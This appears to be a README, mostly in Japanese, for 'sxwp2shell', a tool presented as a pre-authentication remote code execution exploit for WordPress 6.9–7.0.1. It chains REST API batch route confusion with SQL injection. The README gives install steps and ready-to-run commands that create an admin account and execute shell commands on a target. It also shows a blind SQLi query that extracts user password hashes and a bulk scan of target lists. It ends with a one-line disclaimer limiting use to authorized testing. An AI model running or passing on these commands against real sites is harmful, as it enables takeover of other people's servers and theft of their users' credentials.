/ / ____ / /()___ ___ / / | |/ / __ / _ / __ / / / __ / _ / / | / / / __/ / / / // / / / / / // | /_/_// //_/// //_/__//|_|
sxwp2shell — REST API バッチルート混乱（CVE-2026-63030）+ SQLインジェクション（CVE-2026-60137）を介した WordPress の認証前RCEエクスプロイト。
Affected: WP 6.9.0–6.9.4 / 7.0.0–7.0.1
git clone https://github.com/SentinelXofficial/sxwp2shell
cd sxwp2shell
chmod +x sxwp2shell.py
Python 3.7+、標準ライブラリのみ — pip install は不要です。
| Command | 説明 |
|---|---|
check <url> | バージョン、バッチエンドポイント、ルート混乱、SQLi を検出 |
exploit <url> | 完全なRCEチェーン（SQLi → 管理者作成 → シェル） |
read <url> | ブラインドSQLiによるデータ抽出 |
scan <file> | ファイルからターゲットを一括スキャンし、CSVをエクスポート |
python3 sxwp2shell.py check https://target.com
python3 sxwp2shell.py exploit https://target.com --cmd id
python3 sxwp2shell.py read https://target.com --query "SELECT user_pass FROM wp_users"
python3 sxwp2shell.py scan targets.txt -o results.csv
--cmd CMD Command to execute (default: id)
--query QUERY Custom SQL query
-k, --insecure Skip SSL verification
--proxy PROXY HTTP proxy
--timeout SEC Request timeout (default: 15)
--delay SEC Delay between requests
--agent AGENT Custom User-Agent
--no-color Disable colored output
-o, --output Save scan results to CSV
認可されたセキュリティテストのみを対象としています。DISCLAIMER.md をお読みください。